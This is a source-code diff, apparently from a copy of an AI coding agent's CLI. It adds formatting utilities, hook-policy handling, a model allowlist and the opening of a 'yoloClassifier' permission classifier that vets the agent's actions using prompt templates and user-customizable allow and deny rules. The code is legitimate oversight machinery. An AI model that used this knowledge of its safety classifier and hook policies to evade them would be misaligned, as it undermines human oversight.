+  const kb = sizeInBytes / 1024
+  if (kb < 1) {
+    return `${sizeInBytes} bytes`
+  }
+  if (kb < 1024) {
+    return `${kb.toFixed(1).replace(/\.0$/, '')}KB`
+  }
+  const mb = kb / 1024
+  if (mb < 1024) {
+    return `${mb.toFixed(1).replace(/\.0$/, '')}MB`
+  }
+  const gb = mb / 1024
+  return `${gb.toFixed(1).replace(/\.0$/, '')}GB`
+}
+
+/**
+ * Formats milliseconds as seconds with 1 decimal place (e.g. `1234` → `"1.2s"`).
+ * Unlike formatDuration, always keeps the decimal — use for sub-minute timings
+ * where the fractional second is meaningful (TTFT, hook durations, etc.).
+ */
+export function formatSecondsShort(ms: number): string {
+  return `${(ms / 1000).toFixed(1)}s`
+}
+
+export function formatDuration(
+  ms: number,
+  options?: { hideTrailingZeros?: boolean; mostSignificantOnly?: boolean },
+): string {
+  if (ms < 60000) {
+    // Special case for 0
+    if (ms === 0) {
+      return '0s'
+    }
+    // For durations < 1s, show 1 decimal place (e.g., 0.5s)
+    if (ms < 1) {
+      const s = (ms / 1000).toFixed(1)
+      return `${s}s`
+    }
+    const s = Math.floor(ms / 1000).toString()
+    return `${s}s`
+  }
+
+  let days = Math.floor(ms / 86400000)
+  let hours = Math.floor((ms % 86400000) / 3600000)
+  let minutes = Math.floor((ms % 3600000) / 60000)
+  let seconds = Math.round((ms % 60000) / 1000)
+
+  // Handle rounding carry-over (e.g., 59.5s rounds to 60s)
+  if (seconds === 60) {
+    seconds = 0
+    minutes++
+  }
+  if (minutes === 60) {
+    minutes = 0
+    hours++
+  }
+  if (hours === 24) {
+    hours = 0
+    days++
+  }
+
+  const hide = options?.hideTrailingZeros
+
+  if (options?.mostSignificantOnly) {
+    if (days > 0) return `${days}d`
+    if (hours > 0) return `${hours}h`
+    if (minutes > 0) return `${minutes}m`
+    return `${seconds}s`
+  }
+
+  if (days > 0) {
+    if (hide && hours === 0 && minutes === 0) return `${days}d`
+    if (hide && minutes === 0) return `${days}d ${hours}h`
+    return `${days}d ${hours}h ${minutes}m`
+  }
+  if (hours > 0) {
+    if (hide && minutes === 0 && seconds === 0) return `${hours}h`
+    if (hide && seconds === 0) return `${hours}h ${minutes}m`
+    return `${hours}h ${minutes}m ${seconds}s`
+  }
+  if (minutes > 0) {
+    if (hide && seconds === 0) return `${minutes}m`
+    return `${minutes}m ${seconds}s`
+  }
+  return `${seconds}s`
+}
+
+// `new Intl.NumberFormat` is expensive, so cache formatters for reuse
+let numberFormatterForConsistentDecimals: Intl.NumberFormat | null = null
+let numberFormatterForInconsistentDecimals: Intl.NumberFormat | null = null
+const getNumberFormatter = (
+  useConsistentDecimals: boolean,
+): Intl.NumberFormat => {
+  if (useConsistentDecimals) {
+    if (!numberFormatterForConsistentDecimals) {
+      numberFormatterForConsistentDecimals = new Intl.NumberFormat('en-US', {
+        notation: 'compact',
+        maximumFractionDigits: 1,
+        minimumFractionDigits: 1,
+      })
+    }
+    return numberFormatterForConsistentDecimals
+  } else {
+    if (!numberFormatterForInconsistentDecimals) {
+      numberFormatterForInconsistentDecimals = new Intl.NumberFormat('en-US', {
+        notation: 'compact',
+        maximumFractionDigits: 1,
+        minimumFractionDigits: 0,
+      })
+    }
+    return numberFormatterForInconsistentDecimals
+  }
+}
+
+export function formatNumber(number: number): string {
+  // Only use minimumFractionDigits for numbers that will be shown in compact notation
+  const shouldUseConsistentDecimals = number >= 1000
+
+  return getNumberFormatter(shouldUseConsistentDecimals)
+    .format(number) // eg. "1321" => "1.3K", "900" => "900"
+    .toLowerCase() // eg. "1.3K" => "1.3k", "1.0K" => "1.0k"
+}
+
+export function formatTokens(count: number): string {
+  return formatNumber(count).replace('.0', '')
+}
+
+type RelativeTimeStyle = 'long' | 'short' | 'narrow'
+
+type RelativeTimeOptions = {
+  style?: RelativeTimeStyle
+  numeric?: 'always' | 'auto'
+}
+
+export function formatRelativeTime(
+  date: Date,
+  options: RelativeTimeOptions & { now?: Date } = {},
+): string {
+  const { style = 'narrow', numeric = 'always', now = new Date() } = options
+  const diffInMs = date.getTime() - now.getTime()
+  // Use Math.trunc to truncate towards zero for both positive and negative values
+  const diffInSeconds = Math.trunc(diffInMs / 1000)
+
+  // Define time intervals with custom short units
+  const intervals = [
+    { unit: 'year', seconds: 31536000, shortUnit: 'y' },
+    { unit: 'month', seconds: 2592000, shortUnit: 'mo' },
+    { unit: 'week', seconds: 604800, shortUnit: 'w' },
+    { unit: 'day', seconds: 86400, shortUnit: 'd' },
+    { unit: 'hour', seconds: 3600, shortUnit: 'h' },
+    { unit: 'minute', seconds: 60, shortUnit: 'm' },
+    { unit: 'second', seconds: 1, shortUnit: 's' },
+  ] as const
+
+  // Find the appropriate unit
+  for (const { unit, seconds: intervalSeconds, shortUnit } of intervals) {
+    if (Math.abs(diffInSeconds) >= intervalSeconds) {
+      const value = Math.trunc(diffInSeconds / intervalSeconds)
+      // For short style, use custom format
+      if (style === 'narrow') {
+        return diffInSeconds < 0
+          ? `${Math.abs(value)}${shortUnit} ago`
+          : `in ${value}${shortUnit}`
+      }
+      // For days and longer, use long style regardless of the style parameter
+      return getRelativeTimeFormat('long', numeric).format(value, unit)
+    }
+  }
+
+  // For values less than 1 second
+  if (style === 'narrow') {
+    return diffInSeconds <= 0 ? '0s ago' : 'in 0s'
+  }
+  return getRelativeTimeFormat(style, numeric).format(0, 'second')
+}
+
+export function formatRelativeTimeAgo(
+  date: Date,
+  options: RelativeTimeOptions & { now?: Date } = {},
+): string {
+  const { now = new Date(), ...restOptions } = options
+  if (date > now) {
+    // For future dates, just return the relative time without "ago"
+    return formatRelativeTime(date, { ...restOptions, now })
+  }
+
+  // For past dates, force numeric: 'always' to ensure we get "X units ago"
+  return formatRelativeTime(date, { ...restOptions, numeric: 'always', now })
+}
+
+/**
+ * Formats log metadata for display (time, size or message count, branch, tag, PR)
+ */
+export function formatLogMetadata(log: {
+  modified: Date
+  messageCount: number
+  fileSize?: number
+  gitBranch?: string
+  tag?: string
+  agentSetting?: string
+  prNumber?: number
+  prRepository?: string
+}): string {
+  const sizeOrCount =
+    log.fileSize !== undefined
+      ? formatFileSize(log.fileSize)
+      : `${log.messageCount} messages`
+  const parts = [
+    formatRelativeTimeAgo(log.modified, { style: 'short' }),
+    ...(log.gitBranch ? [log.gitBranch] : []),
+    sizeOrCount,
+  ]
+  if (log.tag) {
+    parts.push(`#${log.tag}`)
+  }
+  if (log.agentSetting) {
+    parts.push(`@${log.agentSetting}`)
+  }
+  if (log.prNumber) {
+    parts.push(
+      log.prRepository
+        ? `${log.prRepository}#${log.prNumber}`
+        : `#${log.prNumber}`,
+    )
+  }
+  return parts.join(' · ')
+}
+
+export function formatResetTime(
+  timestampInSeconds: number | undefined,
+  showTimezone: boolean = false,
+  showTime: boolean = true,
+): string | undefined {
+  if (!timestampInSeconds) return undefined
+
+  const date = new Date(timestampInSeconds * 1000)
+  const now = new Date()
+  const minutes = date.getMinutes()
+
+  // Calculate hours until reset
+  const hoursUntilReset = (date.getTime() - now.getTime()) / (1000 * 60 * 60)
+
+  // If reset is more than 24 hours away, show the date as well
+  if (hoursUntilReset > 24) {
+    // Show date and time for resets more than a day away
+    const dateOptions: Intl.DateTimeFormatOptions = {
+      month: 'short',
+      day: 'numeric',
+      hour: showTime ? 'numeric' : undefined,
+      minute: !showTime || minutes === 0 ? undefined : '2-digit',
+      hour12: showTime ? true : undefined,
+    }
+
+    // Add year if it's not the current year
+    if (date.getFullYear() !== now.getFullYear()) {
+      dateOptions.year = 'numeric'
+    }
+
+    const dateString = date.toLocaleString('en-US', dateOptions)
+
+    // Remove the space before AM/PM and make it lowercase
+    return (
+      dateString.replace(/ ([AP]M)/i, (_match, ampm) => ampm.toLowerCase()) +
+      (showTimezone ? ` (${getTimeZone()})` : '')
+    )
+  }
+
+  // For resets within 24 hours, show just the time (existing behavior)
+  const timeString = date.toLocaleTimeString('en-US', {
+    hour: 'numeric',
+    minute: minutes === 0 ? undefined : '2-digit',
+    hour12: true,
+  })
+
+  // Remove the space before AM/PM and make it lowercase, then add timezone
+  return (
+    timeString.replace(/ ([AP]M)/i, (_match, ampm) => ampm.toLowerCase()) +
+    (showTimezone ? ` (${getTimeZone()})` : '')
+  )
+}
+
+export function formatResetText(
+  resetsAt: string,
+  showTimezone: boolean = false,
+  showTime: boolean = true,
+): string {
+  const dt = new Date(resetsAt)
+  return `${formatResetTime(Math.floor(dt.getTime() / 1000), showTimezone, showTime)}`
+}
+
+// Back-compat: truncate helpers moved to ./truncate.ts (needs ink/stringWidth)
+export {
+  truncate,
+  truncatePathMiddle,
+  truncateStartToWidth,
+  truncateToWidth,
+  truncateToWidthNoEllipsis,
+  wrapText,
+} from './truncate.js'
diff --git a/cc-haha/src/utils/formatBriefTimestamp.ts b/cc-haha/src/utils/formatBriefTimestamp.ts
new file mode 100644
index 0000000..fb9ca65
--- /dev/null
+++ b/cc-haha/src/utils/formatBriefTimestamp.ts
@@ -0,0 +1,81 @@
+/**
+ * Format an ISO timestamp for the brief/chat message label line.
+ *
+ * Display scales with age (like a messaging app):
+ *   - same day:      "1:30 PM" or "13:30" (locale-dependent)
+ *   - within 6 days: "Sunday, 4:15 PM" (locale-dependent)
+ *   - older:         "Sunday, Feb 20, 4:30 PM" (locale-dependent)
+ *
+ * Respects POSIX locale env vars (LC_ALL > LC_TIME > LANG) for time format
+ * (12h/24h), weekday names, month names, and overall structure.
+ * Bun/V8's `toLocaleString(undefined)` ignores these on macOS, so we
+ * convert them to BCP 47 tags ourselves.
+ *
+ * `now` is injectable for tests.
+ */
+export function formatBriefTimestamp(
+  isoString: string,
+  now: Date = new Date(),
+): string {
+  const d = new Date(isoString)
+  if (Number.isNaN(d.getTime())) {
+    return ''
+  }
+
+  const locale = getLocale()
+  const dayDiff = startOfDay(now) - startOfDay(d)
+  const daysAgo = Math.round(dayDiff / 86_400_000)
+
+  if (daysAgo === 0) {
+    return d.toLocaleTimeString(locale, {
+      hour: 'numeric',
+      minute: '2-digit',
+    })
+  }
+
+  if (daysAgo > 0 && daysAgo < 7) {
+    return d.toLocaleString(locale, {
+      weekday: 'long',
+      hour: 'numeric',
+      minute: '2-digit',
+    })
+  }
+
+  return d.toLocaleString(locale, {
+    weekday: 'long',
+    month: 'short',
+    day: 'numeric',
+    hour: 'numeric',
+    minute: '2-digit',
+  })
+}
+
+/**
+ * Derive a BCP 47 locale tag from POSIX env vars.
+ * LC_ALL > LC_TIME > LANG, falls back to undefined (system default).
+ * Converts POSIX format (en_GB.UTF-8) to BCP 47 (en-GB).
+ */
+function getLocale(): string | undefined {
+  const raw =
+    process.env.LC_ALL || process.env.LC_TIME || process.env.LANG || ''
+  if (!raw || raw === 'C' || raw === 'POSIX') {
+    return undefined
+  }
+  // Strip codeset (.UTF-8) and modifier (@euro), replace _ with -
+  const base = raw.split('.')[0]!.split('@')[0]!
+  if (!base) {
+    return undefined
+  }
+  const tag = base.replaceAll('_', '-')
+  // Validate by trying to construct an Intl locale — invalid tags throw
+  try {
+    new Intl.DateTimeFormat(tag)
+    return tag
+  } catch {
+    return undefined
+  }
+}
+
+function startOfDay(d: Date): number {
+  return new Date(d.getFullYear(), d.getMonth(), d.getDate()).getTime()
+}
diff --git a/cc-haha/src/utils/hooks/hooksConfigSnapshot.ts b/cc-haha/src/utils/hooks/hooksConfigSnapshot.ts
new file mode 100644
index 0000000..1f2bfe6
--- /dev/null
+++ b/cc-haha/src/utils/hooks/hooksConfigSnapshot.ts
@@ -0,0 +1,133 @@
+import { resetSdkInitState } from '../../bootstrap/state.js'
+import { isRestrictedToPluginOnly } from '../settings/pluginOnlyPolicy.js'
+// Import as module object so spyOn works in tests (direct imports bypass spies)
+import * as settingsModule from '../settings/settings.js'
+import { resetSettingsCache } from '../settings/settingsCache.js'
+import type { HooksSettings } from '../settings/types.js'
+
+let initialHooksConfig: HooksSettings | null = null
+
+/**
+ * Get hooks from allowed sources.
+ * If allowManagedHooksOnly is set in policySettings, only managed hooks are returned.
+ * If disableAllHooks is set in policySettings, no hooks are returned.
+ * If disableAllHooks is set in non-managed settings, only managed hooks are returned
+ * (non-managed settings cannot disable managed hooks).
+ * Otherwise, returns merged hooks from all sources (backwards compatible).
+ */
+function getHooksFromAllowedSources(): HooksSettings {
+  const policySettings = settingsModule.getSettingsForSource('policySettings')
+
+  // If managed settings disables all hooks, return empty
+  if (policySettings?.disableAllHooks === true) {
+    return {}
+  }
+
+  // If allowManagedHooksOnly is set in managed settings, only use managed hooks
+  if (policySettings?.allowManagedHooksOnly === true) {
+    return policySettings.hooks ?? {}
+  }
+
+  // strictPluginOnlyCustomization: block user/project/local settings hooks.
+  // Plugin hooks (registered channel, hooks.ts:1391) are NOT affected —
+  // they're assembled separately and the managedOnly skip there is keyed
+  // on shouldAllowManagedHooksOnly(), not on this policy. Agent frontmatter
+  // hooks are gated at REGISTRATION (runAgent.ts:~535) by agent source —
+  // plugin/built-in/policySettings agents register normally, user-sourced
+  // agents skip registration under ["hooks"]. A blanket execution-time
+  // block here would over-kill plugin agents' hooks.
+  if (isRestrictedToPluginOnly('hooks')) {
+    return policySettings?.hooks ?? {}
+  }
+
+  const mergedSettings = settingsModule.getSettings_DEPRECATED()
+
+  // If disableAllHooks is set in non-managed settings, only managed hooks still run
+  // (non-managed settings cannot override managed hooks)
+  if (mergedSettings.disableAllHooks === true) {
+    return policySettings?.hooks ?? {}
+  }
+
+  // Otherwise, use all hooks (merged from all sources) - backwards compatible
+  return mergedSettings.hooks ?? {}
+}
+
+/**
+ * Check if only managed hooks should run.
+ * This is true when:
+ * - policySettings has allowManagedHooksOnly: true, OR
+ * - disableAllHooks is set in non-managed settings (non-managed settings
+ *   cannot disable managed hooks, so they effectively become managed-only)
+ */
+export function shouldAllowManagedHooksOnly(): boolean {
+  const policySettings = settingsModule.getSettingsForSource('policySettings')
+  if (policySettings?.allowManagedHooksOnly === true) {
+    return true
+  }
+  // If disableAllHooks is set but NOT from managed settings,
+  // treat as managed-only (non-managed hooks disabled, managed hooks still run)
+  if (
+    settingsModule.getSettings_DEPRECATED().disableAllHooks === true &&
+    policySettings?.disableAllHooks !== true
+  ) {
+    return true
+  }
+  return false
+}
+
+/**
+ * Check if all hooks (including managed) should be disabled.
+ * This is only true when managed/policy settings has disableAllHooks: true.
+ * When disableAllHooks is set in non-managed settings, managed hooks still run.
+ */
+export function shouldDisableAllHooksIncludingManaged(): boolean {
+  return (
+    settingsModule.getSettingsForSource('policySettings')?.disableAllHooks ===
+    true
+  )
+}
+
+/**
+ * Capture a snapshot of the current hooks configuration
+ * This should be called once during application startup
+ * Respects the allowManagedHooksOnly setting
+ */
+export function captureHooksConfigSnapshot(): void {
+  initialHooksConfig = getHooksFromAllowedSources()
+}
+
+/**
+ * Update the hooks configuration snapshot
+ * This should be called when hooks are modified through the settings
+ * Respects the allowManagedHooksOnly setting
+ */
+export function updateHooksConfigSnapshot(): void {
+  // Reset the session cache to ensure we read fresh settings from disk.
+  // Without this, the snapshot could use stale cached settings when the user
+  // edits settings.json externally and then runs /hooks - the session cache
+  // may not have been invalidated yet (e.g., if the file watcher's stability
+  // threshold hasn't elapsed).
+  resetSettingsCache()
+  initialHooksConfig = getHooksFromAllowedSources()
+}
+
+/**
+ * Get the current hooks configuration from snapshot
+ * Falls back to settings if no snapshot exists
+ * @returns The hooks configuration
+ */
+export function getHooksConfigFromSnapshot(): HooksSettings | null {
+  if (initialHooksConfig === null) {
+    captureHooksConfigSnapshot()
+  }
+  return initialHooksConfig
+}
+
+/**
+ * Reset the hooks configuration snapshot (useful for testing)
+ * Also resets SDK init state to prevent test pollution
+ */
+export function resetHooksConfigSnapshot(): void {
+  initialHooksConfig = null
+  resetSdkInitState()
+}
diff --git a/cc-haha/src/utils/hooks/postSamplingHooks.ts b/cc-haha/src/utils/hooks/postSamplingHooks.ts
new file mode 100644
index 0000000..eb6bdb6
--- /dev/null
+++ b/cc-haha/src/utils/hooks/postSamplingHooks.ts
@@ -0,0 +1,70 @@
+import type { QuerySource } from '../../constants/querySource.js'
+import type { ToolUseContext } from '../../Tool.js'
+import type { Message } from '../../types/message.js'
+import { toError } from '../errors.js'
+import { logError } from '../log.js'
+import type { SystemPrompt } from '../systemPromptType.js'
+
+// Post-sampling hook - not exposed in settings.json config (yet), only used programmatically
+
+// Generic context for REPL hooks (both post-sampling and stop hooks)
+export type REPLHookContext = {
+  messages: Message[] // Full message history including assistant responses
+  systemPrompt: SystemPrompt
+  userContext: { [k: string]: string }
+  systemContext: { [k: string]: string }
+  toolUseContext: ToolUseContext
+  querySource?: QuerySource
+}
+
+export type PostSamplingHook = (
+  context: REPLHookContext,
+) => Promise<void> | void
+
+// Internal registry for post-sampling hooks
+const postSamplingHooks: PostSamplingHook[] = []
+
+/**
+ * Register a post-sampling hook that will be called after model sampling completes
+ * This is an internal API not exposed through settings
+ */
+export function registerPostSamplingHook(hook: PostSamplingHook): void {
+  postSamplingHooks.push(hook)
+}
+
+/**
+ * Clear all registered post-sampling hooks (for testing)
+ */
+export function clearPostSamplingHooks(): void {
+  postSamplingHooks.length = 0
+}
+
+/**
+ * Execute all registered post-sampling hooks
+ */
+export async function executePostSamplingHooks(
+  messages: Message[],
+  systemPrompt: SystemPrompt,
+  userContext: { [k: string]: string },
+  systemContext: { [k: string]: string },
+  toolUseContext: ToolUseContext,
+  querySource?: QuerySource,
+): Promise<void> {
+  const context: REPLHookContext = {
+    messages,
+    systemPrompt,
+    userContext,
+    systemContext,
+    toolUseContext,
+    querySource,
+  }
+
+  for (const hook of postSamplingHooks) {
+    try {
+      await hook(context)
+    } catch (error) {
+      // Log but don't fail on hook errors
+      logError(toError(error))
+    }
+  }
+}
diff --git a/cc-haha/src/utils/model/modelAllowlist.ts b/cc-haha/src/utils/model/modelAllowlist.ts
new file mode 100644
index 0000000..b3f8647
--- /dev/null
+++ b/cc-haha/src/utils/model/modelAllowlist.ts
@@ -0,0 +1,170 @@
+import { getSettings_DEPRECATED } from '../settings/settings.js'
+import { isModelAlias, isModelFamilyAlias } from './aliases.js'
+import { parseUserSpecifiedModel } from './model.js'
+import { resolveOverriddenModel } from './modelStrings.js'
+
+/**
+ * Check if a model belongs to a given family by checking if its name
+ * (or resolved name) contains the family identifier.
+ */
+function modelBelongsToFamily(model: string, family: string): boolean {
+  if (model.includes(family)) {
+    return true
+  }
+  // Resolve aliases like "best" → "claude-opus-4-7" to check family membership
+  if (isModelAlias(model)) {
+    const resolved = parseUserSpecifiedModel(model).toLowerCase()
+    return resolved.includes(family)
+  }
+  return false
+}
+
+/**
+ * Check if a model name starts with a prefix at a segment boundary.
+ * The prefix must match up to the end of the name or a "-" separator.
+ * e.g. "claude-opus-4-5" matches "claude-opus-4-5-20251101" but not "claude-opus-4-50".
+ */
+function prefixMatchesModel(modelName: string, prefix: string): boolean {
+  if (!modelName.startsWith(prefix)) {
+    return false
+  }
+  return modelName.length === prefix.length || modelName[prefix.length] === '-'
+}
+
+/**
+ * Check if a model matches a version-prefix entry in the allowlist.
+ * Supports shorthand like "opus-4-5" (mapped to "claude-opus-4-5") and
+ * full prefixes like "claude-opus-4-5". Resolves input aliases before matching.
+ */
+function modelMatchesVersionPrefix(model: string, entry: string): boolean {
+  // Resolve the input model to a full name if it's an alias
+  const resolvedModel = isModelAlias(model)
+    ? parseUserSpecifiedModel(model).toLowerCase()
+    : model
+
+  // Try the entry as-is (e.g. "claude-opus-4-5")
+  if (prefixMatchesModel(resolvedModel, entry)) {
+    return true
+  }
+  // Try with "claude-" prefix (e.g. "opus-4-5" → "claude-opus-4-5")
+  if (
+    !entry.startsWith('claude-') &&
+    prefixMatchesModel(resolvedModel, `claude-${entry}`)
+  ) {
+    return true
+  }
+  return false
+}
+
+/**
+ * Check if a family alias is narrowed by more specific entries in the allowlist.
+ * When the allowlist contains both "opus" and "opus-4-5", the specific entry
+ * takes precedence — "opus" alone would be a wildcard, but "opus-4-5" narrows
+ * it to only that version.
+ */
+function familyHasSpecificEntries(
+  family: string,
+  allowlist: string[],
+): boolean {
+  for (const entry of allowlist) {
+    if (isModelFamilyAlias(entry)) {
+      continue
+    }
+    // Check if entry is a version-qualified variant of this family
+    // e.g., "opus-4-5" or "claude-opus-4-5-20251101" for the "opus" family
+    // Must match at a segment boundary (followed by '-' or end) to avoid
+    // false positives like "opusplan" matching "opus"
+    const idx = entry.indexOf(family)
+    if (idx === -1) {
+      continue
+    }
+    const afterFamily = idx + family.length
+    if (afterFamily === entry.length || entry[afterFamily] === '-') {
+      return true
+    }
+  }
+  return false
+}
+
+/**
+ * Check if a model is allowed by the availableModels allowlist in settings.
+ * If availableModels is not set, all models are allowed.
+ *
+ * Matching tiers:
+ * 1. Family aliases ("opus", "sonnet", "haiku") — wildcard for the entire family,
+ *    UNLESS more specific entries for that family also exist (e.g., "opus-4-5").
+ *    In that case, the family wildcard is ignored and only the specific entries apply.
+ * 2. Version prefixes ("opus-4-5", "claude-opus-4-5") — any build of that version
+ * 3. Full model IDs ("claude-opus-4-5-20251101") — exact match only
+ */
+export function isModelAllowed(model: string): boolean {
+  const settings = getSettings_DEPRECATED() || {}
+  const { availableModels } = settings
+  if (!availableModels) {
+    return true // No restrictions
+  }
+  if (availableModels.length === 0) {
+    return false // Empty allowlist blocks all user-specified models
+  }
+
+  const resolvedModel = resolveOverriddenModel(model)
+  const normalizedModel = resolvedModel.trim().toLowerCase()
+  const normalizedAllowlist = availableModels.map(m => m.trim().toLowerCase())
+
+  // Direct match (alias-to-alias or full-name-to-full-name)
+  // Skip family aliases that have been narrowed by specific entries —
+  // e.g., "opus" in ["opus", "opus-4-5"] should NOT directly match,
+  // because the admin intends to restrict to opus 4.5 only.
+  if (normalizedAllowlist.includes(normalizedModel)) {
+    if (
+      !isModelFamilyAlias(normalizedModel) ||
+      !familyHasSpecificEntries(normalizedModel, normalizedAllowlist)
+    ) {
+      return true
+    }
+  }
+
+  // Family-level aliases in the allowlist match any model in that family,
+  // but only if no more specific entries exist for that family.
+  // e.g., ["opus"] allows all opus, but ["opus", "opus-4-5"] only allows opus 4.5.
+  for (const entry of normalizedAllowlist) {
+    if (
+      isModelFamilyAlias(entry) &&
+      !familyHasSpecificEntries(entry, normalizedAllowlist) &&
+      modelBelongsToFamily(normalizedModel, entry)
+    ) {
+      return true
+    }
+  }
+
+  // For non-family entries, do bidirectional alias resolution
+  // If model is an alias, resolve it and check if the resolved name is in the list
+  if (isModelAlias(normalizedModel)) {
+    const resolved = parseUserSpecifiedModel(normalizedModel).toLowerCase()
+    if (normalizedAllowlist.includes(resolved)) {
+      return true
+    }
+  }
+
+  // If any non-family alias in the allowlist resolves to the input model
+  for (const entry of normalizedAllowlist) {
+    if (!isModelFamilyAlias(entry) && isModelAlias(entry)) {
+      const resolved = parseUserSpecifiedModel(entry).toLowerCase()
+      if (resolved === normalizedModel) {
+        return true
+      }
+    }
+  }
+
+  // Version-prefix matching: "opus-4-5" or "claude-opus-4-5" matches
+  // "claude-opus-4-5-20251101" at a segment boundary
+  for (const entry of normalizedAllowlist) {
+    if (!isModelFamilyAlias(entry) && !isModelAlias(entry)) {
+      if (modelMatchesVersionPrefix(normalizedModel, entry)) {
+        return true
+      }
+    }
+  }
+
+  return false
+}
diff --git a/cc-haha/src/utils/permissions/yoloClassifier.ts b/cc-haha/src/utils/permissions/yoloClassifier.ts
new file mode 100644
index 0000000..1ec78b5
--- /dev/null
+++ b/cc-haha/src/utils/permissions/yoloClassifier.ts
@@ -0,0 +1,1495 @@
+import { feature } from 'bun:bundle'
+import type Anthropic from '@anthropic-ai/sdk'
+import type { BetaToolUnion } from '@anthropic-ai/sdk/resources/beta/messages.js'
+import { mkdir, writeFile } from 'fs/promises'
+import { dirname, join } from 'path'
+import { z } from 'zod/v4'
+import {
+  getCachedClaudeMdContent,
+  getLastClassifierRequests,
+  getSessionId,
+  setLastClassifierRequests,
+} from '../../bootstrap/state.js'
+import { getFeatureValue_CACHED_MAY_BE_STALE } from '../../services/analytics/growthbook.js'
+import { logEvent } from '../../services/analytics/index.js'
+import type { AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS } from '../../services/analytics/metadata.js'
+import { getCacheControl } from '../../services/api/claude.js'
+import { parsePromptTooLongTokenCounts } from '../../services/api/errors.js'
+import { getDefaultMaxRetries } from '../../services/api/withRetry.js'
+import type { Tool, ToolPermissionContext, Tools } from '../../Tool.js'
+import type { Message } from '../../types/message.js'
+import type {
+  ClassifierUsage,
+  YoloClassifierResult,
+} from '../../types/permissions.js'
+import { isDebugMode, logForDebugging } from '../debug.js'
+import { isEnvDefinedFalsy, isEnvTruthy } from '../envUtils.js'
+import { errorMessage } from '../errors.js'
+import { lazySchema } from '../lazySchema.js'
+import { extractTextContent } from '../messages.js'
+import { resolveAntModel } from '../model/antModels.js'
+import { getMainLoopModel } from '../model/model.js'
+import { getAutoModeConfig } from '../settings/settings.js'
+import { sideQuery } from '../sideQuery.js'
+import { jsonStringify } from '../slowOperations.js'
+import { tokenCountWithEstimation } from '../tokens.js'
+import {
+  getBashPromptAllowDescriptions,
+  getBashPromptDenyDescriptions,
+} from './bashClassifier.js'
+import {
+  extractToolUseBlock,
+  parseClassifierResponse,
+} from './classifierShared.js'
+import { getClaudeTempDir } from './filesystem.js'
+
+// Dead code elimination: conditional imports for auto mode classifier prompts.
+// At build time, the bundler inlines .txt files as string literals. At test
+// time, require() returns {default: string} — txtRequire normalizes both.
+/* eslint-disable custom-rules/no-process-env-top-level, @typescript-eslint/no-require-imports */
+function txtRequire(mod: string | { default: string }): string {
+  return typeof mod === 'string' ? mod : mod.default
+}
+
+const BASE_PROMPT: string = feature('TRANSCRIPT_CLASSIFIER')
+  ? txtRequire(require('./yolo-classifier-prompts/auto_mode_system_prompt.txt'))
+  : ''
+
+// External template is loaded separately so it's available for
+// `claude auto-mode defaults` even in ant builds. Ant builds use
+// permissions_anthropic.txt at runtime but should dump external defaults.
+const EXTERNAL_PERMISSIONS_TEMPLATE: string = feature('TRANSCRIPT_CLASSIFIER')
+  ? txtRequire(require('./yolo-classifier-prompts/permissions_external.txt'))
+  : ''
+
+const ANTHROPIC_PERMISSIONS_TEMPLATE: string =
+  feature('TRANSCRIPT_CLASSIFIER') && process.env.USER_TYPE === 'ant'
+    ? txtRequire(require('./yolo-classifier-prompts/permissions_anthropic.txt'))
+    : ''
+/* eslint-enable custom-rules/no-process-env-top-level, @typescript-eslint/no-require-imports */
+
+function isUsingExternalPermissions(): boolean {
+  if (process.env.USER_TYPE !== 'ant') return true
+  const config = getFeatureValue_CACHED_MAY_BE_STALE(
+    'tengu_auto_mode_config',
+    {} as AutoModeConfig,
+  )
+  return config?.forceExternalPermissions === true
+}
+
+/**
+ * Shape of the settings.autoMode config — the three classifier prompt
+ * sections a user can customize. Required-field variant (empty arrays when
+ * absent) for JSON output; settings.ts uses the optional-field variant.
+ */
+export type AutoModeRules = {
+  allow: string[]
+  soft_deny: string[]
+  environment: string[]
+}
+
+/**
+ * Parses the external permissions template into the settings.autoMode schema
+ * shape. The external template wraps each section's defaults in
+ * <user_*_to_replace> tags (user settings REPLACE these defaults), so the
+ * captured tag contents ARE the defaults. Bullet items are single-line in the
+ * template; each line starting with `- ` becomes one array entry.
+ * Used by `claude auto-mode defaults`. Always returns external defaults,
+ * never the Anthropic-internal template.
+ */
+export function getDefaultExternalAutoModeRules(): AutoModeRules {
+  return {
+    allow: extractTaggedBullets('user_allow_rules_to_replace'),
+    soft_deny: extractTaggedBullets('user_deny_rules_to_replace'),
+    environment: extractTaggedBullets('user_environment_to_replace'),
+  }
+}
+
+function extractTaggedBullets(tagName: string): string[] {
+  const match = EXTERNAL_PERMISSIONS_TEMPLATE.match(
+    new RegExp(`<${tagName}>([\\s\\S]*?)</${tagName}>`),
+  )
+  if (!match) return []
+  return (match[1] ?? '')
+    .split('\n')
+    .map(line => line.trim())
+    .filter(line => line.startsWith('- '))
+    .map(line => line.slice(2))
+}
+
+/**
+ * Returns the full external classifier system prompt with default rules (no user
+ * overrides). Used by `claude auto-mode critique` to show the model how the
+ * classifier sees its instructions.
+ */
+export function buildDefaultExternalSystemPrompt(): string {
+  return BASE_PROMPT.replace(
+    '<permissions_template>',
+    () => EXTERNAL_PERMISSIONS_TEMPLATE,
+  )
+    .replace(
+      /<user_allow_rules_to_replace>([\s\S]*?)<\/user_allow_rules_to_replace>/,
+      (_m, defaults: string) => defaults,
+    )
+    .replace(
+      /<user_deny_rules_to_replace>([\s\S]*?)<\/user_deny_rules_to_replace>/,
+      (_m, defaults: string) => defaults,
+    )
+    .replace(
+      /<user_environment_to_replace>([\s\S]*?)<\/user_environment_to_replace>/,
+      (_m, defaults: string) => defaults,
+    )
+}
+
+function getAutoModeDumpDir(): string {
+  return join(getClaudeTempDir(), 'auto-mode')
+}
+
+/**
+ * Dump the auto mode classifier request and response bodies to the per-user
+ * claude temp directory when CLAUDE_CODE_DUMP_AUTO_MODE is set. Files are
+ * named by unix timestamp: {timestamp}[.{suffix}].req.json and .res.json
+ */
+async function maybeDumpAutoMode(
+  request: unknown,
+  response: unknown,
+  timestamp: number,
+  suffix?: string,
+): Promise<void> {
+  if (process.env.USER_TYPE !== 'ant') return
+  if (!isEnvTruthy(process.env.CLAUDE_CODE_DUMP_AUTO_MODE)) return
+  const base = suffix ? `${timestamp}.${suffix}` : `${timestamp}`
+  try {
+    await mkdir(getAutoModeDumpDir(), { recursive: true })
+    await writeFile(
+      join(getAutoModeDumpDir(), `${base}.req.json`),
+      jsonStringify(request, null, 2),
+      'utf-8',
+    )
+    await writeFile(
+      join(getAutoModeDumpDir(), `${base}.res.json`),
+      jsonStringify(response, null, 2),
+      'utf-8',
+    )
